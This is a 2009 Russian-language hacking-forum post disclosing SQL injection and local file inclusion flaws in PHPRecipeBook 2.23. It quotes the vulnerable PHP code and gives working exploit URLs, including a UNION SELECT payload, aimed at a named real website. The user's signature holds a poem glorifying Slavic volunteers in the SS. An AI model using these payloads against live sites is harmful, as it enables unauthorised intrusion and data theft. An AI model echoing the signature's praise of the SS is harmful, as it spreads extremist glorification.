10.11.2009, 01:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
PHPRecipeBook 2.23
Уязвимость : SQL
Файл modules\recipes\search.php
PHP код:
if ($_REQUEST) $query .= " recipe_course=" . $_REQUEST . " AND"; if ($_REQUEST) $query .= " recipe_base=" . $_REQUEST . " AND"; if ($_REQUEST) $query .= " recipe_ethnic=" . $_REQUEST . " AND"; if ($_REQUEST) $query .= " recipe_prep_time=" . $_REQUEST . " AND"; if ($_REQUEST) $query .= " recipe_difficulty=" . $_REQUEST . " AND";
Запрос там выше, искать времени нету
__http://www.bergiescookbook.com/cookbook/index.php?m=recipes&a=search&search=yes&base_id=-10+union+select+1,version(),3,4,5,6,7--
Уязвимость : LFI
Условия :MQ=off
Файл index.php
PHP код:
$m = isset( $_GET['m'] ) ? $_GET['m'] : 'recipes';
$a = isset( $_GET['a'] ) ? $_GET['a'] : 'index';
include "modules/$m/$a.php";
__http://www.bergiescookbook.com/cookbook/index.php?m=recipes'&a=search'&search=yes&base_id= 10
Ушел спать, время многО, завтра добью
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
Последний раз редактировалось HAXTA4OK; 10.11.2009 в 12:51..
|
|
|